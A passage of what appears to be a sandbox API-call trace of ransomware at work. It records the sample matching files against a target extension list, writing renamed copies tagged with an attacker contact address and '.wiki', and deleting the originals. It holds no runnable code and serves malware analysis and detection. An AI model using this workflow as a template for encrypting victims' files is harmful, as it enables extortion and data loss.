lpNumberOfBytesWritten=0x33cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.396] SetEndOfFile (hFile=0x17c) returned 1 [0048.396] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40854f8 [0048.409] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.409] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.410] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.410] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.412] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.412] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.414] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40854f8 | out: hHeap=0x6c0000) returned 1 [0048.414] CloseHandle (hObject=0x17c) returned 1 [0050.608] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0050.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.608] lstrlenW (lpString=".doc") returned 4 [0050.608] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString=".docx") returned 5 [0050.608] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0050.608] lstrlenW (lpString=".pdf") returned 4 [0050.608] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString=".xls") returned 4 [0050.608] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString=".xlsx") returned 5 [0050.608] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0050.608] lstrlenW (lpString=".ppt") returned 4 [0050.608] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.608] lstrlenW (lpString=".zip") returned 4 [0050.608] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString=".rar") returned 4 [0050.608] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.608] lstrlenW (lpString=".bz2") returned 4 [0050.608] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.608] lstrlenW (lpString=".7z") returned 3 [0050.608] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.608] lstrlenW (lpString=".dbf") returned 4 [0050.609] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString=".1cd") returned 4 [0050.609] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString=".jpg") returned 4 [0050.609] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString=".doc") returned 4 [0050.609] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString=".docx") returned 5 [0050.609] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0050.609] lstrlenW (lpString=".pdf") returned 4 [0050.609] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString=".xls") returned 4 [0050.609] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString=".xlsx") returned 5 [0050.609] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0050.609] lstrlenW (lpString=".ppt") returned 4 [0050.609] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString=".zip") returned 4 [0050.609] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString=".rar") returned 4 [0050.609] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString=".bz2") returned 4 [0050.609] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.609] lstrlenW (lpString=".7z") returned 3 [0050.609] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.609] lstrlenW (lpString=".dbf") returned 4 [0050.609] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.610] lstrlenW (lpString=".1cd") returned 4 [0050.610] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0050.610] lstrlenW (lpString=".jpg") returned 4 [0050.610] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.610] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0050.610] lstrlenW (lpString="Proof.msi") returned 9 [0050.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=885760) returned 1 [0050.610] CloseHandle (hObject=0x17c) returned 1 [0050.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0050.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.610] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.610] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.611] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.611] GetLastError () returned 0x0 [0050.611] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xd8400, lpOverlapped=0x0) returned 1 [0050.633] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0050.754] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.754] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.904] SetEndOfFile (hFile=0x18c) returned 1 [0050.904] CloseHandle (hObject=0x18c) returned 1 [0050.913] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.913] SetEndOfFile (hFile=0x17c) returned 1 [0050.920] CloseHandle (hObject=0x17c) returned 1 [0050.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0050.921] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0050.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.921] lstrlenW (lpString=".doc") returned 4 [0050.921] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.921] lstrlenW (lpString=".docx") returned 5 [0050.921] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.921] lstrlenW (lpString=".pdf") returned 4 [0050.921] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.921] lstrlenW (lpString=".xls") returned 4 [0050.921] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.921] lstrlenW (lpString=".xlsx") returned 5 [0050.921] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.921] lstrlenW (lpString=".ppt") returned 4 [0050.921] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.921] lstrlenW (lpString=".zip") returned 4 [0050.922] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".rar") returned 4 [0050.922] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".bz2") returned 4 [0050.922] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.922] lstrlenW (lpString=".7z") returned 3 [0050.922] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString=".dbf") returned 4 [0050.922] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString=".1cd") returned 4 [0050.922] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString=".jpg") returned 4 [0050.922] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString=".doc") returned 4 [0050.922] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.922] lstrlenW (lpString=".docx") returned 5 [0050.922] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.922] lstrlenW (lpString=".pdf") returned 4 [0050.922] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".xls") returned 4 [0050.922] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".xlsx") returned 5 [0050.922] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.922] lstrlenW (lpString=".ppt") returned 4 [0050.922] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.922] lstrlenW (lpString=".zip") returned 4 [0050.922] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".rar") returned 4 [0050.922] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.922] lstrlenW (lpString=".bz2") returned 4 [0050.923] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.923] lstrlenW (lpString=".7z") returned 3 [0050.923] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.923] lstrlenW (lpString=".dbf") returned 4 [0050.923] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.923] lstrlenW (lpString=".1cd") returned 4 [0050.923] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.923] lstrlenW (lpString=".jpg") returned 4 [0050.923] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.923] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0050.923] lstrlenW (lpString="Proofing.msi") returned 12 [0050.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.923] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=868864) returned 1 [0050.923] CloseHandle (hObject=0x17c) returned 1 [0050.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0050.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.924] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.924] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.924] GetLastError () returned 0x0 [0050.924] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0051.103] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0051.179] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.179] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.179] SetEndOfFile (hFile=0x18c) returned 1 [0051.179] CloseHandle (hObject=0x18c) returned 1 [0051.185] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.186] SetEndOfFile (hFile=0x17c) returned 1 [0051.192] CloseHandle (hObject=0x17c) returned 1 [0051.192] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0051.193] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0051.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.193] lstrlenW (lpString=".doc") returned 4 [0051.193] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.193] lstrlenW (lpString=".docx") returned 5 [0051.193] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0051.193] lstrlenW (lpString=".pdf") returned 4 [0051.193] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.193] lstrlenW (lpString=".xls") returned 4 [0051.193] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.193] lstrlenW (lpString=".xlsx") returned 5 [0051.193] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0051.193] lstrlenW (lpString=".ppt") returned 4 [0051.193] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.193] lstrlenW (lpString=".zip") returned 4 [0051.194] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".rar") returned 4 [0051.194] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".bz2") returned 4 [0051.194] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.194] lstrlenW (lpString=".7z") returned 3 [0051.194] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString=".dbf") returned 4 [0051.194] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString=".1cd") returned 4 [0051.194] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString=".jpg") returned 4 [0051.194] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString=".doc") returned 4 [0051.194] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.194] lstrlenW (lpString=".docx") returned 5 [0051.194] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0051.194] lstrlenW (lpString=".pdf") returned 4 [0051.194] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".xls") returned 4 [0051.194] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".xlsx") returned 5 [0051.194] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0051.194] lstrlenW (lpString=".ppt") returned 4 [0051.194] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.194] lstrlenW (lpString=".zip") returned 4 [0051.194] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".rar") returned 4 [0051.194] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.194] lstrlenW (lpString=".bz2") returned 4 [0051.195] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.195] lstrlenW (lpString=".7z") returned 3 [0051.195] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.195] lstrlenW (lpString=".dbf") returned 4 [0051.195] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.195] lstrlenW (lpString=".1cd") returned 4 [0051.195] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0051.195] lstrlenW (lpString=".jpg") returned 4 [0051.195] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.195] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0051.195] lstrlenW (lpString="Office32MUI.msi") returned 15 [0051.195] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=873984) returned 1 [0051.195] CloseHandle (hObject=0x17c) returned 1 [0051.195] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0051.196] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.196] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.196] SetFilePointerEx (in: hFile=0x17c, 